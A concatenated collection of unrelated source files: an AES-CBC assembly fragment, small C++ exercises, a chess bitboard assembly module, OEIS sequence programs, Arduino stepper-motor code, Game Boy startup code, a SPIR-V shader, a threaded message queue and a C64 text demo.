aesenc XDATA1, XKEY1_3 ; 3. ENC
aesenc XDATA2, XKEY2_3 ; 3. ENC
aesenc XDATA3, XKEY3_3 ; 3. ENC
aesenc XDATA0, [KEYS0 + 16*4] ; 4. ENC
aesenc XDATA1, [KEYS1 + 16*4] ; 4. ENC
aesenc XDATA2, [KEYS2 + 16*4] ; 4. ENC
aesenc XDATA3, [KEYS3 + 16*4] ; 4. ENC
aesenc XDATA0, [KEYS0 + 16*5] ; 5. ENC
aesenc XDATA1, [KEYS1 + 16*5] ; 5. ENC
aesenc XDATA2, [KEYS2 + 16*5] ; 5. ENC
aesenc XDATA3, [KEYS3 + 16*5] ; 5. ENC
movdqa XKEY1_6, [KEYS1 + 16*6] ; load round 6 key
movdqa XKEY2_6, [KEYS2 + 16*6] ; load round 6 key
movdqa XKEY3_6, [KEYS3 + 16*6] ; load round 6 key
aesenc XDATA0, XKEY0_6 ; 6. ENC
aesenc XDATA1, XKEY1_6 ; 6. ENC
aesenc XDATA2, XKEY2_6 ; 6. ENC
aesenc XDATA3, XKEY3_6 ; 6. ENC
aesenc XDATA0, [KEYS0 + 16*7] ; 7. ENC
aesenc XDATA1, [KEYS1 + 16*7] ; 7. ENC
aesenc XDATA2, [KEYS2 + 16*7] ; 7. ENC
aesenc XDATA3, [KEYS3 + 16*7] ; 7. ENC
aesenc XDATA0, [KEYS0 + 16*8] ; 8. ENC
aesenc XDATA1, [KEYS1 + 16*8] ; 8. ENC
aesenc XDATA2, [KEYS2 + 16*8] ; 8. ENC
aesenc XDATA3, [KEYS3 + 16*8] ; 8. ENC
movdqa XKEY0_9, [KEYS0 + 16*9] ; load round 9 key
movdqa XKEY1_9, [KEYS1 + 16*9] ; load round 9 key
movdqa XKEY2_9, [KEYS2 + 16*9] ; load round 9 key
movdqa XKEY3_9, [KEYS3 + 16*9] ; load round 9 key
aesenc XDATA0, XKEY0_9 ; 9. ENC
aesenc XDATA1, XKEY1_9 ; 9. ENC
aesenc XDATA2, XKEY2_9 ; 9. ENC
aesenc XDATA3, XKEY3_9 ; 9. ENC
aesenc XDATA0, [KEYS0 + 16*10] ; 10. ENC
aesenc XDATA1, [KEYS1 + 16*10] ; 10. ENC
aesenc XDATA2, [KEYS2 + 16*10] ; 10. ENC
aesenc XDATA3, [KEYS3 + 16*10] ; 10. ENC
aesenc XDATA0, [KEYS0 + 16*11] ; 11. ENC
aesenc XDATA1, [KEYS1 + 16*11] ; 11. ENC
aesenc XDATA2, [KEYS2 + 16*11] ; 11. ENC
aesenc XDATA3, [KEYS3 + 16*11] ; 11. ENC
aesenclast XDATA0, [KEYS0 + 16*12] ; 12. ENC
aesenclast XDATA1, [KEYS1 + 16*12] ; 12. ENC
aesenclast XDATA2, [KEYS2 + 16*12] ; 12. ENC
aesenclast XDATA3, [KEYS3 + 16*12] ; 12. ENC
MOVDQ [OUT0], XDATA0 ; write back ciphertext
MOVDQ [OUT1], XDATA1 ; write back ciphertext
MOVDQ [OUT2], XDATA2 ; write back ciphertext
MOVDQ [OUT3], XDATA3 ; write back ciphertext
cmp LEN, IDX
je done
main_loop:
pxor2 XDATA0, [IN0 + IDX] ; plaintext XOR IV
pxor2 XDATA1, [IN1 + IDX] ; plaintext XOR IV
pxor2 XDATA2, [IN2 + IDX] ; plaintext XOR IV
pxor2 XDATA3, [IN3 + IDX] ; plaintext XOR IV
pxor XDATA0, [KEYS0 + 16*0] ; 0. ARK
pxor XDATA1, [KEYS1 + 16*0] ; 0. ARK
pxor XDATA2, [KEYS2 + 16*0] ; 0. ARK
pxor XDATA3, [KEYS3 + 16*0] ; 0. ARK
aesenc XDATA0, [KEYS0 + 16*1] ; 1. ENC
aesenc XDATA1, [KEYS1 + 16*1] ; 1. ENC
aesenc XDATA2, [KEYS2 + 16*1] ; 1. ENC
aesenc XDATA3, [KEYS3 + 16*1] ; 1. ENC
aesenc XDATA0, [KEYS0 + 16*2] ; 2. ENC
aesenc XDATA1, [KEYS1 + 16*2] ; 2. ENC
aesenc XDATA2, [KEYS2 + 16*2] ; 2. ENC
aesenc XDATA3, [KEYS3 + 16*2] ; 2. ENC
aesenc XDATA0, XKEY0_3 ; 3. ENC
aesenc XDATA1, XKEY1_3 ; 3. ENC
aesenc XDATA2, XKEY2_3 ; 3. ENC
aesenc XDATA3, XKEY3_3 ; 3. ENC
aesenc XDATA0, [KEYS0 + 16*4] ; 4. ENC
aesenc XDATA1, [KEYS1 + 16*4] ; 4. ENC
aesenc XDATA2, [KEYS2 + 16*4] ; 4. ENC
aesenc XDATA3, [KEYS3 + 16*4] ; 4. ENC
aesenc XDATA0, [KEYS0 + 16*5] ; 5. ENC
aesenc XDATA1, [KEYS1 + 16*5] ; 5. ENC
aesenc XDATA2, [KEYS2 + 16*5] ; 5. ENC
aesenc XDATA3, [KEYS3 + 16*5] ; 5. ENC
aesenc XDATA0, XKEY0_6 ; 6. ENC
aesenc XDATA1, XKEY1_6 ; 6. ENC
aesenc XDATA2, XKEY2_6 ; 6. ENC
aesenc XDATA3, XKEY3_6 ; 6. ENC
aesenc XDATA0, [KEYS0 + 16*7] ; 7. ENC
aesenc XDATA1, [KEYS1 + 16*7] ; 7. ENC
aesenc XDATA2, [KEYS2 + 16*7] ; 7. ENC
aesenc XDATA3, [KEYS3 + 16*7] ; 7. ENC
aesenc XDATA0, [KEYS0 + 16*8] ; 8. ENC
aesenc XDATA1, [KEYS1 + 16*8] ; 8. ENC
aesenc XDATA2, [KEYS2 + 16*8] ; 8. ENC
aesenc XDATA3, [KEYS3 + 16*8] ; 8. ENC
aesenc XDATA0, XKEY0_9 ; 9. ENC
aesenc XDATA1, XKEY1_9 ; 9. ENC
aesenc XDATA2, XKEY2_9 ; 9. ENC
aesenc XDATA3, XKEY3_9 ; 9. ENC
aesenc XDATA0, [KEYS0 + 16*10] ; 10. ENC
aesenc XDATA1, [KEYS1 + 16*10] ; 10. ENC
aesenc XDATA2, [KEYS2 + 16*10] ; 10. ENC
aesenc XDATA3, [KEYS3 + 16*10] ; 10. ENC
aesenc XDATA0, [KEYS0 + 16*11] ; 11. ENC
aesenc XDATA1, [KEYS1 + 16*11] ; 11. ENC
aesenc XDATA2, [KEYS2 + 16*11] ; 11. ENC
aesenc XDATA3, [KEYS3 + 16*11] ; 11. ENC
aesenclast XDATA0, [KEYS0 + 16*12] ; 12. ENC
aesenclast XDATA1, [KEYS1 + 16*12] ; 12. ENC
aesenclast XDATA2, [KEYS2 + 16*12] ; 12. ENC
aesenclast XDATA3, [KEYS3 + 16*12] ; 12. ENC
MOVDQ [OUT0 + IDX], XDATA0 ; write back ciphertext
MOVDQ [OUT1 + IDX], XDATA1 ; write back ciphertex
MOVDQ [OUT2 + IDX], XDATA2 ; write back ciphertex
MOVDQ [OUT3 + IDX], XDATA3 ; write back ciphertex
add IDX, 16
cmp LEN, IDX
jne main_loop
done:
;; update IV
movdqa [ARG + _aesarg_IV + 16*0], XDATA0
movdqa [ARG + _aesarg_IV + 16*1], XDATA1
movdqa [ARG + _aesarg_IV + 16*2], XDATA2
movdqa [ARG + _aesarg_IV + 16*3], XDATA3
;; update IN and OUT
add IN0, LEN
mov [ARG + _aesarg_in + 8*0], IN0
add IN1, LEN
mov [ARG + _aesarg_in + 8*1], IN1
add IN2, LEN
mov [ARG + _aesarg_in + 8*2], IN2
add IN3, LEN
mov [ARG + _aesarg_in + 8*3], IN3
add OUT0, LEN
mov [ARG + _aesarg_out + 8*0], OUT0
add OUT1, LEN
mov [ARG + _aesarg_out + 8*1], OUT1
add OUT2, LEN
mov [ARG + _aesarg_out + 8*2], OUT2
add OUT3, LEN
mov [ARG + _aesarg_out + 8*3], OUT3
pop rbp
%ifdef SAFE_DATA
clear_all_xmms_sse_asm
%endif ;; SAFE_DATA
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
#include<iostream>
using namespace std;
int main(){
// define variables
int number;
// ask for number
cout<<endl<<"Enter number : ";
cin>>number;
// check if number is even or odd.
if (number%2==0){ // number is even
cout<<endl<<number<<" number is even.";
} else { // number is odd
cout<<endl<<number<<" number is odd.";
}
return 0;
}
|
#include <iostream>
using namespace std;
int MaxDifference(int arr[], int n)
{
int maxdiff = 0;
for (int i = 0; i < n; i++)
{
for (int j = i + 1; j < n; j++)
{
if ((arr[j] > arr[i]) && (arr[j] - arr[i] > maxdiff))
{
maxdiff = arr[j] - arr[i];
}
}
}
return maxdiff;
}
int main()
{
int arr[7] = {2, 3, 10, 6, 4, 8, 1};
cout << MaxDifference(arr, 7);
return 0;
}
|
;;
;; ChessLib (c)2008-2011 Andy Duplain <andy@trojanfoe.com>
;;
;; AsmX64.asm: Windows x86-64-assembler functions.
;;
;; See: http://msdn.microsoft.com/en-us/library/ms235286.aspx
;;
;; Parameters: (left-to-right) RCX, RDX, R8, and R9.
;; Return: RAX.
;; Work registers: RAX, RCX, RDX, R8, R9, R10, and R11.
;;
.data
C55 QWORD 05555555555555555h
C33 QWORD 03333333333333333h
C0F QWORD 00F0F0F0F0F0F0F0Fh
C01 QWORD 00101010101010101h
CFE QWORD 0fefefefefefefefeh
C7F QWORD 07f7f7f7f7f7f7f7fh
.code
;;
;; Determine if the CPU supports the POPCNT instruction.
;;
x64HasPopcnt PROC
mov eax, 01h
cpuid ; ecx=feature info 1, edx=feature info 2
xor eax, eax ; prepare return value
test ecx, 1 SHL 23
jz not_popcnt
mov eax, 1
not_popcnt:
ret 0
x64HasPopcnt ENDP
;;
;; Count the number of bits set in a uint64
;;
;; RCX: bb
;;
x64Popcnt PROC
popcnt rax, rcx
ret 0
x64Popcnt ENDP
;;
;; Return the offset of the lowest set bit in the bitmask
;;
;; RCX: bb
;;
x64Lsb PROC
bsf rax, rcx
jz lsb_empty
ret 0
lsb_empty:
mov rax, 64 ; bb was empty
ret 0
x64Lsb ENDP
;;
;; Return the offset of the lowest set bit in the bitmask and clear
;; the bit. Also return the bit cleared.
;;
;; RCX: &bb
;; RDX: &bit
;;
x64Lsb2 PROC
mov r10, rcx ; save address of bb (we need to use cl)
mov r8, qword ptr [rcx] ; r8 = bb
bsf rax, r8 ; rax = lsb(bb)
jz lsb2_empty
mov r9, 1
mov cl, al ; offset to shift
shl r9, cl ; r9 = bit found
mov qword ptr [rdx], r9 ; return bit found
not r9 ; r9 = ~r9
and r8, r9 ; bb &= ~bit
mov qword ptr [r10], r8 ; return bb with bit clear
ret 0
lsb2_empty:
mov rax, 64 ; bb was empty
mov qword ptr [rdx], 0
ret 0
x64Lsb2 ENDP
;;
;; Byteswap for 16-bit values
;;
;; RCX: value
;;
PUBLIC x64Bswap16
x64Bswap16 PROC
mov rax, rcx
mov cl, 8
rol ax, cl
ret
x64Bswap16 ENDP
;;
;; Byteswap for 32-bit values
;;
;; RCX: value
;;
PUBLIC x64Bswap32
x64Bswap32 PROC
mov rax, rcx
bswap eax
ret
x64Bswap32 ENDP
;;
;; Byteswap for 64-bit values
;;
;; RCX: value
;;
PUBLIC x64BSwap64
x64Bswap64 PROC
mov rax, rcx
bswap rax
ret
x64Bswap64 ENDP
END
|
; A213549: Principal diagonal of the convolution array A213548.
; 1,12,53,155,360,721,1302,2178,3435,5170,7491,10517,14378,19215,25180,32436,41157,51528,63745,78015,94556,113597,135378,160150,188175,219726,255087,294553,338430,387035,440696,499752,564553,635460,712845,797091,888592,987753,1094990,1210730,1335411,1469482,1613403,1767645,1932690,2109031,2297172,2497628,2710925,2937600,3178201,3433287,3703428,3989205,4291210,4610046,4946327,5300678,5673735,6066145,6478566,6911667,7366128,7842640,8341905,8864636,9411557,9983403,10580920,11204865,11856006,12535122,13243003,13980450,14748275,15547301,16378362,17242303,18139980,19072260,20040021,21044152,22085553,23165135,24283820,25442541,26642242,27883878,29168415,30496830,31870111,33289257,34755278,36269195,37832040,39444856,41108697,42824628,44593725,46417075,48295776,50230937,52223678,54275130,56386435,58558746,60793227,63091053,65453410,67881495,70376516,72939692,75572253,78275440,81050505,83898711,86821332,89819653,92894970,96048590,99281831,102596022,105992503,109472625,113037750,116689251,120428512,124256928,128175905,132186860,136291221,140490427,144785928,149179185,153671670,158264866,162960267,167759378,172663715,177674805,182794186,188023407,193364028,198817620,204385765,210070056,215872097,221793503,227835900,234000925,240290226,246705462,253248303,259920430,266723535,273659321,280729502,287935803,295279960,302763720,310388841,318157092,326070253,334130115,342338480,350697161,359207982,367872778,376693395,385671690,394809531,404108797,413571378,423199175,432994100,442958076,453093037,463400928,473883705,484543335,495381796,506401077,517603178,528990110,540563895,552326566,564280167,576426753,588768390,601307155,614045136,626984432,640127153,653475420,667031365,680797131,694774872,708966753,723374950,738001650,752849051,767919362,783214803,798737605,814490010,830474271,846692652,863147428,879840885,896775320,913953041,931376367,949047628,966969165,985143330,1003572486,1022259007,1041205278,1060413695,1079886665,1099626606,1119635947,1139917128,1160472600,1181304825,1202416276,1223809437,1245486803,1267450880,1289704185,1312249246,1335088602,1358224803,1381660410,1405397995,1429440141,1453789442,1478448503,1503419940,1528706380,1554310461,1580234832,1606482153,1633055095,1659956340,1687188581,1714754522,1742656878,1770898375,1799481750
mov $14,$0
mov $16,$0
add $16,1
lpb $16
clr $0,14
mov $0,$14
sub $16,1
sub $0,$16
mov $11,$0
mov $13,$0
add $13,1
lpb $13
mov $0,$11
sub $13,1
sub $0,$13
mov $1,11
mul $1,$0
mov $3,$0
mov $7,7
add $7,$1
mul $3,$7
div $3,2
add $3,1
add $12,$3
lpe
add $15,$12
lpe
mov $1,$15
|
bits 64
default rel
card_len equ 80
section .bss
%macro coro 2
mov rbx, %%_cnt
mov [route_%1], rbx
jmp %2
%%_cnt: nop
%endmacro
route_SQUASHER: resq 1 ; storage of IP, module global data for SQUASHER
route_WRITE: resq 1 ; storage of IP, module global data for WRITE
i: resq 1 ; module global data for RDCRD and SQUASHER
card: resb card_len ; module global data for RDCRD and SQUASHER
t1: resq 1 ; module global data for SQUASHER
t2: resq 1 ; module global data for SQUASHER
out: resq 1 ; module global data for SQUASHER, WRITE
section .text
; --------------------------------------------------------------------------------
SYS_READ equ 0x2000003
STDIN equ 0
RDCRD:
mov rax, [i]
cmp rax, card_len
jne .exit
mov qword [i], 0
; read card into card[1:80]
mov rdx, card_len ; maximum number of bytes to read
mov rsi, card ; buffer to read into
mov rdi, STDIN ; file descriptor
mov rax, SYS_READ
syscall
.exit:
ret
; --------------------------------------------------------------------------------
; router
SQUASHER:
jmp [route_SQUASHER]
; coroutine
SQUASHER_CORO: ; label 1
call RDCRD
mov rsi, [i]
mov rdi, card
xor rax, rax
mov al, [rdi + rsi]
mov [t1], rax
inc rsi
mov [i], rsi
mov rax, [t1] ; redundant, value still in register
cmp rax, '*'
jne .not_equal_ast
.equal_ast:
call RDCRD
mov rsi, [i] ; redundant, value still in register
mov rdi, card
xor rax, rax
mov al, [rdi + rsi]
mov [t2], rax
inc rsi
mov [i], rsi
mov rax, [t2] ; redundant, value still in register
cmp rax, '*'
jne .not_equal_second_ast
.equal_second_ast:
mov qword [t1], '^'
jmp .not_equal_ast
.not_equal_second_ast:
mov rax, [t1]
mov [out], rax
coro SQUASHER, WRITE
mov rax, [t2]
mov [out], rax
coro SQUASHER, WRITE
jmp SQUASHER_CORO
.not_equal_ast: ; label 2
mov rax, [t1]
mov [out], rax
coro SQUASHER, WRITE
jmp SQUASHER_CORO
; --------------------------------------------------------------------------------
SYS_WRITE equ 0x2000004
STDOUT equ 1
printRbx:
mov rdx, 1 ; message length
mov rsi, rbx ; message to write
mov rdi, STDOUT ; file descriptor
mov rax, SYS_WRITE
syscall
ret
; --------------------------------------------------------------------------------
; router
WRITE:
jmp [route_WRITE]
; coroutine
WRITE_CORO:
.loop:
coro WRITE, SQUASHER
; out is output area of SQUASHER and only holds a single byte,
; so it can only return a single read element. The look ahead
; reads a second element and thus needs a switch to return the
; looked "ahead" element on next call.
mov rbx, out
call printRbx
mov rax, [i]
cmp rax, card_len
jne .loop
ret
; --------------------------------------------------------------------------------
SYS_EXIT equ 0x2000001
_exitProgram:
mov rax, SYS_EXIT
mov rdi, 0 ; return code = 0
syscall
; --------------------------------------------------------------------------------
global _main
_main:
; set up coroutine routers
mov rbx, SQUASHER_CORO
mov [route_SQUASHER], rbx
mov rbx, WRITE_CORO
mov [route_WRITE], rbx
; set up global data
mov qword [i], card_len
call WRITE
.finished:
jmp _exitProgram
|
; A152889: Periodic sequence [1,0,4,0,0] of period 5
; 1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0,1,0,4,0,0
add $0,2
pow $0,3
mod $0,5
bin $0,3
|
; A142157: Last digit of A003319(n).
; Submitted by Jamie Morken(s4)
; 1,1,3,3,1,1,7,3,3,5,3,7,5,3,3,3,3,1,3,5,1,7,9,1,5,1,7,7,3,7,7,3,9,5,1,3,9,9,1,5,3,5,5,7,1,5,1,5,9,5,3,3,5,1,9,7,9,9,5,5,5,9,1,1,3,3,1,1,7,3,3,5,3,7,5,3,3,3,3,1,3,5,1,7,9,1,5,1,7,7,3,7,7,3,9,5,1,3,9,9
mov $1,1
mov $3,$0
mul $3,4
mov $5,4
lpb $3
sub $3,1
add $4,$5
add $1,$4
add $1,$5
add $2,$1
mul $1,2
sub $3,1
sub $4,1
add $5,$2
add $4,$5
lpe
mov $0,$4
add $0,1
mod $0,10
|
#include <Arduino.h>
#include "Motor.h"
// Steps pins in counter clockwise direction
const int Motor::STEPS[8] = {
0b0001,
0b0011,
0b0010,
0b0110,
0b0100,
0b1100,
0b1000,
0b1001
};
Motor::Motor(int pins[4])
{
mPins = pins;
}
void Motor::setup() {
for(int i = 0; i < 4; i++) {
pinMode(mPins[i], OUTPUT);
}
}
// pin: 0-3
// returns 1 (HIGH) or 0 (LOW)
int Motor::pinValue(int pin, int step) {
int pinMask[] = {
0b0001,
0b0010,
0b0100,
0b1000
};
int value = pinMask[pin] & step;
return value;
}
/**
* Revolution of output shaft
* @param direction: ROTATE_RIGHT or ROTATE_LEFT
* @param number of step cycles (8 steps = cycle), 360 degrees = 512 cycles
*/
void Motor::rotateStepCycles(int direction, int stepsCycles) {
for(int c = 0; c < stepsCycles; c++) {
for(int step = 0; step < 8; step++) {
int directionStep;
if ( direction == ROTATE_RIGHT ) {
directionStep = 7-step;
} else {
directionStep = step;
}
for(int pin = 0; pin < 4; pin++) {
int value = pinValue(pin, STEPS[directionStep]);
digitalWrite(mPins[pin], value);
}
delay(mStepDelay);
}
}
clear();
}
/**
* Revolution of output shaft
* @param direction: ROTATE_RIGHT or ROTATE_LEFT
* @param number of revolutions
*/
void Motor::rotate(int direction, int revolutions) {
for (int r = 0; r < revolutions; r++ ) {
// 360 degrees = 512 cycles
for(int c = 0; c < 512; c++) {
for(int step = 0; step < 8; step++) {
int directionStep;
if ( direction == ROTATE_RIGHT ) {
directionStep = 7-step;
} else {
directionStep = step;
}
for(int pin = 0; pin < 4; pin++) {
int value = pinValue(pin, STEPS[directionStep]);
digitalWrite(mPins[pin], value);
}
delay(mStepDelay);
}
}
}
clear();
}
void Motor::clear() {
for(int pin = 0; pin < 4; pin++) {
digitalWrite(mPins[pin], LOW);
}
}
|
INCLUDE "defines.asm"
SECTION "Header", ROM0[$100]
; This is your ROM's entry point
; You have 4 bytes of code to do... something
sub $11 ; This helps check if we're on CGB more efficiently
jr EntryPoint
; Make sure to allocate some space for the header, so no important
; code gets put there and later overwritten by RGBFIX.
; RGBFIX is designed to operate over a zero-filled header, so make
; sure to put zeros regardless of the padding value. (This feature
; was introduced in RGBDS 0.4.0, but the -MG etc flags were also
; introduced in that version.)
ds $150 - @, 0
EntryPoint:
ldh [hConsoleType], a
Reset::
di ; Disable interrupts while we set up
; Kill sound
xor a
ldh [rNR52], a
; Wait for VBlank and turn LCD off
.waitVBlank
ldh a, [rLY]
cp SCRN_Y
jr c, .waitVBlank
xor a
ldh [rLCDC], a
; Goal now: set up the minimum required to turn the LCD on again
; A big chunk of it is to make sure the VBlank handler doesn't crash
ld sp, wStackBottom
ld a, BANK(OAMDMA)
; No need to write bank number to HRAM, interrupts aren't active
ld [rROMB0], a
ld hl, OAMDMA
lb bc, OAMDMA.end - OAMDMA, LOW(hOAMDMA)
.copyOAMDMA
ld a, [hli]
ldh [c], a
inc c
dec b
jr nz, .copyOAMDMA
; You will want to init palettes here
; CGB palettes maybe, DMG ones always
ld b, b
; You will also need to reset your handlers' variables below
; I recommend reading through, understanding, and customizing this file
; in its entirety anyways. This whole file is the "global" game init,
; so it's strongly tied to your own game.
; I don't recommend clearing large amounts of RAM, nor to init things
; here that can be initialized later.
; Reset variables necessary for the VBlank handler to function correctly
; But only those for now
xor a
ldh [hVBlankFlag], a
ldh [hOAMHigh], a
ldh [hCanSoftReset], a
dec a ; ld a, $FF
ldh [hHeldKeys], a
; Select wanted interrupts here
; You can also enable them later if you want
ld a, IEF_VBLANK
ldh [rIE], a
xor a
ei ; Only takes effect after the following instruction
ldh [rIF], a ; Clears "accumulated" interrupts
; Init shadow regs
; xor a
ldh [hSCY], a
ldh [hSCX], a
ld a, LCDCF_ON | LCDCF_BGON
ldh [hLCDC], a
; And turn the LCD on!
ldh [rLCDC], a
; Clear OAM, so it doesn't display garbage
; This will get committed to hardware OAM after the end of the first
; frame, but the hardware doesn't display it, so that's fine.
ld hl, wShadowOAM
ld c, NB_SPRITES * 4
xor a
rst MemsetSmall
ld a, h ; ld a, HIGH(wShadowOAM)
ldh [hOAMHigh], a
; bank1 is switched on by default
ld a, 1
ldh [hCurROMBank], a
ld [rROMB0], a
; `Intro`'s bank has already been loaded earlier
jp init
SECTION FRAGMENT "_GSINIT", ROM0
init::
SECTION "OAM DMA routine", ROMX
; OAM DMA prevents access to most memory, but never HRAM.
; This routine starts an OAM DMA transfer, then waits for it to complete.
; It gets copied to HRAM and is called there from the VBlank handler
OAMDMA:
ldh [rDMA], a
ld a, NB_SPRITES
.wait
dec a
jr nz, .wait
ret
.end
SECTION "Global vars", HRAM
; 0 if CGB (including DMG mode and GBA), non-zero for other models
hConsoleType:: db
; Copy of the currently-loaded ROM bank, so the handlers can restore it
; Make sure to always write to it before writing to ROMB0
; (Mind that if using ROMB1, you will run into problems)
__current_bank::
hCurROMBank:: db
SECTION "OAM DMA", HRAM
hOAMDMA::
ds OAMDMA.end - OAMDMA
SECTION UNION "Shadow OAM", WRAM0,ALIGN[8]
_shadow_OAM::
wShadowOAM::
ds NB_SPRITES * 4
; If using banked WRAM, then you will get an error; replace $E000 with $D000
; This ensures that the stack is at the very end of WRAM
SECTION "Stack", WRAM0[$E000 - STACK_SIZE]
ds STACK_SIZE
wStackBottom:
|
; A131017: Period 6 sequence (1, 1, 2, -1, 2, 1).
; 1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2,-1,2,1,1,1,2
gcd $0,6
bin $0,2
lpb $0,1
sub $0,5
lpe
mov $1,$0
add $1,1
|
; SPIR-V
; Version: 1.0
; Generator: Khronos Glslang Reference Front End; 10
; Bound: 85
; Schema: 0
OpCapability Shader
%1 = OpExtInstImport "GLSL.std.450"
OpMemoryModel Logical GLSL450
OpEntryPoint Fragment %4 "main" %65
OpExecutionMode %4 OriginUpperLeft
OpSource ESSL 320
OpName %4 "main"
OpName %8 "f"
OpName %12 "buf0"
OpMemberName %12 0 "_GLF_uniform_float_values"
OpName %14 ""
OpName %22 "i"
OpName %25 "buf1"
OpMemberName %25 0 "_GLF_uniform_int_values"
OpName %27 ""
OpName %50 "v"
OpName %65 "_GLF_color"
OpDecorate %11 ArrayStride 16
OpMemberDecorate %12 0 Offset 0
OpDecorate %12 Block
OpDecorate %14 DescriptorSet 0
OpDecorate %14 Binding 0
OpDecorate %24 ArrayStride 16
OpMemberDecorate %25 0 Offset 0
OpDecorate %25 Block
OpDecorate %27 DescriptorSet 0
OpDecorate %27 Binding 1
OpDecorate %65 Location 0
%2 = OpTypeVoid
%3 = OpTypeFunction %2
%6 = OpTypeFloat 32
%7 = OpTypePointer Function %6
%9 = OpTypeInt 32 0
%10 = OpConstant %9 2
%11 = OpTypeArray %6 %10
%12 = OpTypeStruct %11
%13 = OpTypePointer Uniform %12
%14 = OpVariable %13 Uniform
%15 = OpTypeInt 32 1
%16 = OpConstant %15 0
%17 = OpConstant %15 1
%18 = OpTypePointer Uniform %6
%21 = OpTypePointer Function %15
%23 = OpConstant %9 3
%24 = OpTypeArray %15 %23
%25 = OpTypeStruct %24
%26 = OpTypePointer Uniform %25
%27 = OpVariable %26 Uniform
%28 = OpTypePointer Uniform %15
%39 = OpTypeBool
%47 = OpTypeVector %6 4
%49 = OpTypePointer Function %47
%64 = OpTypePointer Output %47
%65 = OpVariable %64 Output
%66 = OpConstant %15 2
%4 = OpFunction %2 None %3
%5 = OpLabel
%8 = OpVariable %7 Function
%22 = OpVariable %21 Function
%50 = OpVariable %49 Function
%19 = OpAccessChain %18 %14 %16 %17
%20 = OpLoad %6 %19
OpStore %8 %20
%29 = OpAccessChain %28 %27 %16 %17
%30 = OpLoad %15 %29
OpStore %22 %30
OpBranch %31
%31 = OpLabel
OpLoopMerge %33 %34 None
OpBranch %35
%35 = OpLabel
%36 = OpLoad %15 %22
%37 = OpAccessChain %28 %27 %16 %16
%38 = OpLoad %15 %37
%40 = OpSLessThan %39 %36 %38
OpBranchConditional %40 %32 %33
%32 = OpLabel
%41 = OpAccessChain %18 %14 %16 %17
%42 = OpLoad %6 %41
%43 = OpLoad %6 %8
%44 = OpFAdd %6 %43 %42
OpStore %8 %44
%45 = OpAccessChain %18 %14 %16 %17
%46 = OpLoad %6 %45
%48 = OpCompositeConstruct %47 %46 %46 %46 %46
%51 = OpLoad %47 %50
%52 = OpLoad %6 %8
%53 = OpCompositeConstruct %47 %52 %52 %52 %52
%54 = OpFDiv %47 %51 %53
%55 = OpExtInst %47 %1 FMin %48 %54
OpBranch %34
%34 = OpLabel
%56 = OpLoad %15 %22
%57 = OpIAdd %15 %56 %17
OpStore %22 %57
OpBranch %31
%33 = OpLabel
%58 = OpLoad %6 %8
%59 = OpAccessChain %18 %14 %16 %16
%60 = OpLoad %6 %59
%61 = OpFOrdEqual %39 %58 %60
OpSelectionMerge %63 None
OpBranchConditional %61 %62 %80
%62 = OpLabel
%67 = OpAccessChain %28 %27 %16 %66
%68 = OpLoad %15 %67
%69 = OpConvertSToF %6 %68
%70 = OpAccessChain %28 %27 %16 %17
%71 = OpLoad %15 %70
%72 = OpConvertSToF %6 %71
%73 = OpAccessChain %28 %27 %16 %17
%74 = OpLoad %15 %73
%75 = OpConvertSToF %6 %74
%76 = OpAccessChain %28 %27 %16 %66
%77 = OpLoad %15 %76
%78 = OpConvertSToF %6 %77
%79 = OpCompositeConstruct %47 %69 %72 %75 %78
OpStore %65 %79
OpBranch %63
%80 = OpLabel
%81 = OpAccessChain %28 %27 %16 %17
%82 = OpLoad %15 %81
%83 = OpConvertSToF %6 %82
%84 = OpCompositeConstruct %47 %83 %83 %83 %83
OpStore %65 %84
OpBranch %63
%63 = OpLabel
OpReturn
OpFunctionEnd
|
#include <iostream>
#include <thread>
#include <queue>
#include <future>
#include <mutex>
template <class T>
class MessageQueue
{
public:
T receive()
{
// perform queue modification under the lock
std::unique_lock<std::mutex> uLock(_mutex);
_cond.wait(uLock, [this] { return !_messages.empty(); }); // pass unique lock to condition variable
// remove last vector element from queue
T msg = std::move(_messages.back());
_messages.pop_back();
return msg; // will not be copied due to return value optimization (RVO) in C++
}
void send(T &&msg)
{
// simulate some work
std::this_thread::sleep_for(std::chrono::milliseconds(100));
// perform vector modification under the lock
std::lock_guard<std::mutex> uLock(_mutex);
// add vector to queue
std::cout << " Message " << msg << " has been sent to the queue" << std::endl;
_messages.push_back(std::move(msg));
_cond.notify_one(); // notify client after pushing new Vehicle into vector
}
private:
std::mutex _mutex;
std::condition_variable _cond;
std::deque<T> _messages;
};
int main()
{
// create monitor object as a shared pointer to enable access by multiple threads
std::shared_ptr<MessageQueue<int>> queue(new MessageQueue<int>);
std::cout << "Spawning threads..." << std::endl;
std::vector<std::future<void>> futures;
for (int i = 0; i < 10; ++i)
{
int message = i;
futures.emplace_back(std::async(std::launch::async, &MessageQueue<int>::send, queue, std::move(message)));
}
std::cout << "Collecting results..." << std::endl;
while (true)
{
int message = queue->receive();
std::cout << " Message #" << message << " has been removed from the queue" << std::endl;
}
std::for_each(futures.begin(), futures.end(), [](std::future<void> &ftr) {
ftr.wait();
});
std::cout << "Finished!" << std::endl;
return 0;
} |
; draw some text
processor 6502
org $0801 ; sys2061
sysline:
.byte $0b,$08,$01,$00,$9e,$32,$30,$36,$31,$00,$00,$00
org $080d ; sys2061
jsr $e544 ; clear screen
ldx #$00
write: lda msg,x
jsr $ffd2
inx
cpx #54
bne write
ldx #$00
setcol: lda #$07
sta $d800,x
inx
cpx #54
bne setcol
rts
; org $1ffe
; incbin "scrap_writer_iii_17.64c"
msg .byte "C64 PROGRAMMING TUTORIAL BY DIGITALERR0R OF DARK CODEX"
|
; A304836: a(n) = 27*n^2 - 51*n + 24, n>=1.
